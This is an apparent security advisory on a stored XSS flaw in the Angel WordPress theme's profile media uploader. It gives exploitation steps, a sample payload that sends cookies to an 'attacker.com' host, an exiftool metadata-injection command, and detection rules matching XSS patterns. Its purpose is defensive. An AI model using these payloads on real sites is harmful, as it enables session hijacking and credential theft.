CVE-2025-10295

Executive Summary

CVE-2025-10295 is a Stored Cross-Site Scripting (XSS) vulnerability in the Angel – Fashion Model Agency WordPress CMS Theme (WordPress ecosystem). The flaw resides in the profile media uploader functionality, affecting all versions up to and including 3.2.3. An authenticated attacker with subscriber-level access or higher can inject arbitrary web scripts via insufficient input sanitization and output escaping during media upload. When a victim (including administrators) accesses a page containing the injected payload, the script executes in their browser context, potentially leading to session hijacking, credential theft, or further compromise of the WordPress installation.

This vulnerability is part of the WordPress ecosystem and is not related to Apache or Nginx. No public exploit code or patch is currently available.

Supply Chain & Package Security

This is a WordPress theme vulnerability. No NPM, PyPI, Go, or Ruby packages are involved. The risk is limited to sites using the Angel theme. Users should monitor the theme vendor for updates and consider replacing the theme if no patch is released.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (subscriber-level)
• User Interaction: Required (victim must access injected page)
• Scope: Changed (impact may extend beyond vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the potential for privilege escalation via admin session hijacking elevates the severity.

Deep Dive & Mechanics

The vulnerability exists in the profile media uploader component of the Angel theme. When an authenticated user uploads a media file (e.g., an image) to their profile, the theme fails to properly sanitize the file name, metadata, or associated parameters. Specifically, the input validation does not strip or encode HTML/JavaScript payloads, and the output escaping is insufficient when rendering the uploaded media on profile pages or other areas.

Attack Flow:

1. Attacker logs in with subscriber-level credentials.
2. Attacker navigates to the profile edit form and uses the media uploader.
3. Attacker uploads a crafted file (e.g., an image with a malicious filename like <script>alert('XSS')</script>.jpg) or injects payloads via EXIF data or POST parameters.
4. The theme stores the payload in the WordPress database without proper sanitization.
5. When an administrator or other user views the attacker's profile or a page displaying the uploaded media, the payload executes in their browser.
6. The attacker can then steal cookies, perform actions on behalf of the victim, or inject further malicious content.

Root Cause: Lack of input sanitization on the wp_handle_upload or custom upload handler, combined with insufficient output escaping when rendering the media URL or metadata via esc_url() or esc_html().

Vulnerable vs. Patched Code

Vulnerable Code (Angel theme <= 3.2.3):

// In profile-media-uploader.php or similar
function angel_handle_profile_upload() {
    // ... file handling logic ...
    $attachment_id = media_handle_upload('profile_media', 0);
    if (is_wp_error($attachment_id)) {
        // error handling
    } else {
        // Store attachment ID without sanitizing file name or metadata
        update_user_meta(get_current_user_id(), 'profile_media_id', $attachment_id);
    }
}

Patched Code (Hypothetical fix):

function angel_handle_profile_upload() {
    // ... file handling logic ...
    $attachment_id = media_handle_upload('profile_media', 0);
    if (is_wp_error($attachment_id)) {
        // error handling
    } else {
        // Sanitize file name and metadata before storing
        $attachment = get_post($attachment_id);
        $safe_title = sanitize_text_field($attachment->post_title);
        $safe_content = wp_kses_post($attachment->post_content);
        wp_update_post(array(
            'ID' => $attachment_id,
            'post_title' => $safe_title,
            'post_content' => $safe_content,
        ));
        update_user_meta(get_current_user_id(), 'profile_media_id', $attachment_id);
    }
}

Additionally, output escaping must be enforced:

// In template files
echo esc_url(wp_get_attachment_url($media_id));
echo esc_html(get_the_title($media_id));

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress installation with Angel theme <= 3.2.3
• Valid subscriber-level account

Steps:

1. Log in as subscriber.
2. Navigate to /wp-admin/profile.php or the custom profile page.
3. Use the media uploader to upload a file with a malicious filename, e.g., <img src=x onerror=alert(document.cookie)>.jpg.
4. Alternatively, use a tool like Burp Suite to intercept the upload request and modify the post_title or post_content parameters to include JavaScript.
5. After upload, the payload is stored. When an admin visits the profile or a page displaying the media, the script executes.

Example Payload (via filename):

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>.jpg

Example Payload (via EXIF data): Use exiftool to inject XSS into image metadata:

exiftool -Comment='<script>alert(1)</script>' image.jpg

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual file uploads with suspicious filenames or metadata.
• Check WordPress logs for upload events from subscriber accounts.
• Use WAF rules to block XSS payloads in upload parameters.

Hardening:

• Disable the profile media uploader for low-privilege users via custom code or a security plugin.
• Apply a virtual patch using a WAF (e.g., ModSecurity rule to block <script> in uploads).
• Restrict file types to safe extensions (e.g., only allow JPEG, PNG, GIF) and validate MIME types server-side.

Indicators of Compromise (IOCs)

• File Names: Files containing HTML/JavaScript tags (e.g., <script>, <img onerror=, <svg onload=)
• User Meta: Suspicious values in profile_media_id or custom meta fields containing script tags
• Database Entries: wp_posts table with post_title or post_content containing XSS payloads
• Network Traffic: Outbound requests to attacker-controlled domains from WordPress admin pages
• Logs: Unusual upload activity from subscriber accounts, especially with non-image file extensions

Detection Engineering

YARA Rule

rule CVE_2025_10295_XSS_Upload {
    meta:
        description = "Detects XSS payloads in uploaded media filenames or metadata for CVE-2025-10295"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-10295"
    strings:
        $xss1 = /<script[^>]*>/i
        $xss2 = /<img[^>]*onerror/i
        $xss3 = /<svg[^>]*onload/i
        $xss4 = /onmouseover/i
        $xss5 = /javascript:/i
    condition:
        any of ($xss*) and filesize < 10MB
}

Sigma Rule

title: CVE-2025-10295 - Stored XSS via Profile Media Upload
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS payloads in WordPress media uploads for Angel theme
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http_method: POST
        url_path: 
            - '/wp-admin/admin-ajax.php'
            - '/wp-admin/async-upload.php'
        body|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of HTML in filenames (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-10295 - Stored XSS via Profile Media Upload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/"; http_uri; pcre:"/<script|<img[^>]*onerror|<svg[^>]*onload/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the profile media uploader for subscriber-level users via a WordPress security plugin or custom code snippet.
2. Apply a virtual patch using a Web Application Firewall (WAF) to block XSS payloads in upload requests.
3. Audit existing media uploads for suspicious filenames or metadata using the YARA rule above.

Long-Term Fix:

• Update the theme to a patched version once released by the vendor (Angel).
• If no patch is forthcoming, replace the theme with an alternative that properly sanitizes uploads.
• Implement input validation and output escaping in custom WordPress themes/plugins.

General Hardening:

• Enforce the principle of least privilege: restrict upload capabilities to trusted roles only.
• Use a security plugin like Wordfence or Sucuri to monitor file uploads.
• Regularly update WordPress core, themes, and plugins.

Valters IT
DevSecOps & Cyber Threat Intelligence